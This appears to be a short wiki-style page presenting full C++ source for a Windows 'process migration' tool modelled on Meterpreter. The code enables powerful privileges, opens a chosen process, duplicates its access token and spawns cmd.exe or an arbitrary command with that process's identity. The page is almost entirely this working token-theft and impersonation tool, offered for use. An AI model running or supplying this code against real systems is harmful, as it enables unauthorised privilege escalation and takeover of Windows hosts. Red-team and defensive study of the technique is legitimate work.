Process migration like meterpreter
Those are some of the things the code is doing:
- Check if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
- Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
- Duplicate their tokens (privileges in windows system was managed by tokens).
- If the duplication was successful it tries to run new process by using these duplicated tokens.
#include <windows.h>
#include <wchar.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
void usage(char *name)
{
cout << "(-) Ex.: " << name << " <PID> :: for open cmd.exe with new privilages.\n";
cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
}
BOOL SetPrivilege(HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege )
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("\t(-) The token does not have the specified privilege. ");
return FALSE;
}
return TRUE;
}
BOOL check()
{
BOOL result = TRUE;
BOOL bResult;
HANDLE fhToken;
LUID fLuid;
PRIVILEGE_SET privs;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
for (int i = 0; i < 2; i++)
{
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
(LPCTSTR)cPrivs[i], // privilege to lookup
&fLuid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
ExitProcess(0);
}
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
privs.Privilege[0].Luid = fLuid;
PrivilegeCheck(fhToken, &privs, &bResult);
if (!bResult)
{
wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
result = FALSE;
}
}
return result;
}
int main(int argc, char *argv[])
{
DWORD flag;
if (argc <= 1 || argc >= 4)
{
usage(argv[0]);
exit(0);
}
char *command;
if (argc > 2)
{
command = argv[2];
flag = CREATE_NO_WINDOW;
}
else
{
command = "cmd.exe";
flag = 0;
}
DWORD pid = atoi(argv[1]);
cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
cout << "(!) Check if the process have an required permissions...\n";
Sleep(1000);
if (!check())
{
cout << "(!) Trying to set the necessary privileges.\n";
HANDLE currentProcessToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken);
wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
for (int i = 0; i < 9; i++)
{
if (!SetPrivilege(currentProcessToken, privs[i], true))
{
wprintf(L"Access denied to set %s \n", privs[i]);
cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
ExitProcess(0);
}
}
}
cout << "\t(+) All required Permissions was successfull granted.\n\n";
cout << "(!) Trying to open Handel for requested PID.\n";
Sleep(1000);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
cout << "\t(-) Can not open handle for requested PID";
ExitProcess(0);
}
cout << "\t(+) The HANDLE was created success.\n\n";
cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
HANDLE NewTokens;
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
{
cout << "\t(-) Denied to handle Process Tokens\n";
ExitProcess(0);
}
cout << "\t(+) Extracting tokens was successfull\n";
Sleep(500);
HANDLE hPrimaryToken;
if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
{
cout << "\t(-) Denied to Duplicate process Tokens\n";
}
cout << "\t(+) Duplicate tokens was successfull\n\n";
Sleep(1000);
cout << "(!) Try to execute new process with duplicated tokens.\n";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
ZeroMemory(&pi, sizeof(pi));
wchar_t cmd[500];
swprintf_s(cmd, L"cmd.exe /c %hs", command);
Sleep(500);
if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
{
cout << "\t(-) Somthing went wrong!!! \n\t";
printf(" -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
ExitProcess(0);
}
cout << "[***] We successfuly Migrated to requested PID. [***]\n";
if (command != argv[2])
{
cout << "[***] The CMD console with new privilages was opened. [***]\n";
}
else
{
cout << "[***] Command was executed succesfully!!! [***]";
}
return 0;
}
Last modified 2yr ago